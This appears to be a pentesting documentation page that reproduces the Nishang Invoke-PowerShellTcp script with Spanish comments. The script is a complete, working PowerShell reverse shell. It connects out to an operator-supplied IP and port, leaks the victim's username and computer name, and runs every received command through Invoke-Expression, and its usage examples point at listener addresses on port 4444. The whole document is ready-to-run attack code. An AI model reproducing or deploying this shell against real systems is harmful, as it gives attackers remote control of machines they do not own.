PowerShell
function Invoke-PowerShellTcp
{
<#
.SYNOPSIS
Script de Nishang que se puede usar para un shell interactivo **Reverse** de PowerShell en un objetivo.
.DESCRIPTION
Este script se conecta a un netcat estándar que está escuchando en un puerto cuando se usa el interruptor `-Reverse`.
El script está derivado de **Powerfun**, escrito por Ben Turner & Dave Hardy.
.PARAMETER IPAddress
La dirección IP a la que se conectará cuando se utilice el interruptor `-Reverse`.
.PARAMETER Port
El puerto al que se conectará cuando se utilice el interruptor `-Reverse`.
.EXAMPLE
PS > Invoke-PowerShellTcp -Reverse -IPAddress 192.168.254.226 -Port 4444
El ejemplo anterior muestra un **reverse shell interactivo de PowerShell**. Un listener netcat/powercat debe estar escuchando en
la IP y el puerto especificados.
.EXAMPLE
PS > Invoke-PowerShellTcp -Reverse -IPAddress fe80::20c:29ff:fe9d:b983 -Port 4444
El ejemplo anterior muestra un **reverse shell interactivo de PowerShell** sobre IPv6. Un listener netcat/powercat debe estar
escuchando en la IP y puerto dados.
.LINK
http://www.labofapenetrationtester.com/2015/05/week-of-powershell-shells-day-1.html
https://github.com/nettitude/powershell/blob/master/powerfun.ps1
https://github.com/samratashok/nishang
#>
[CmdletBinding(DefaultParameterSetName="reverse")] Param(
[Parameter(Position = 0, Mandatory = $true, ParameterSetName="reverse")]
[String]
$IPAddress, # Dirección IP a la que nos conectaremos en modo Reverse
[Parameter(Position = 1, Mandatory = $true, ParameterSetName="reverse")]
[Int]
$Port, # El puerto al que nos conectaremos en modo Reverse
[Parameter(ParameterSetName="reverse")]
[Switch]
$Reverse # Si se selecciona este parámetro, el script actúa como Reverse Shell
)
try
{
# Si el interruptor -Reverse es usado, el script intentará conectarse al servidor remoto
if ($Reverse)
{
$client = New-Object System.Net.Sockets.TCPClient($IPAddress,$Port) # Crea el cliente TCP que se conecta al servidor
}
$stream = $client.GetStream() # Obtiene el flujo de datos para leer y escribir
[byte[]]$bytes = 0..65535|%{0} # Crea un buffer de bytes para leer los datos
# Envia el mensaje de bienvenida con el nombre de usuario y nombre de la máquina
$sendbytes = ([text.encoding]::ASCII).GetBytes("Windows PowerShell running as user " + $env:username + " on " + $env:computername + "`nCopyright (C) 2015 Microsoft Corporation. All rights reserved.`n`n")
$stream.Write($sendbytes,0,$sendbytes.Length) # Escribe el mensaje en el flujo
# Muestra un prompt interactivo de PowerShell
$sendbytes = ([text.encoding]::ASCII).GetBytes('PS ' + (Get-Location).Path + '>') # Define el prompt
$stream.Write($sendbytes,0,$sendbytes.Length) # Escribe el prompt en el flujo
# Bucle que lee los comandos desde el flujo y los ejecuta
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0)
{
$EncodedText = New-Object -TypeName System.Text.ASCIIEncoding
$data = $EncodedText.GetString($bytes,0, $i) # Decodifica los comandos recibidos
try
{
# Ejecuta el comando recibido en PowerShell
$sendback = (Invoke-Expression -Command $data 2>&1 | Out-String )
}
catch
{
Write-Warning "Algo salió mal con la ejecución del comando en el objetivo." # Manejo de errores si el comando falla
Write-Error $_ # Muestra el error
}
$sendback2 = $sendback + 'PS ' + (Get-Location).Path + '> ' # Añade el prompt nuevamente a la salida
$x = ($error[0] | Out-String) # Captura cualquier error adicional
$error.clear() # Limpia la lista de errores
$sendback2 = $sendback2 + $x # Añade los errores a la salida
# Retorna los resultados al servidor
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2)
$stream.Write($sendbyte,0,$sendbyte.Length) # Escribe la salida en el flujo
$stream.Flush() # Asegura que todos los datos sean enviados
}
$client.Close() # Cierra la conexión una vez que se sale del bucle
}
catch
{
Write-Warning "¡Algo salió mal! Verifique si el servidor es accesible y si está usando el puerto correcto." # Mensaje de advertencia en caso de error
Write-Error $_ # Muestra el error
}
}
Last updated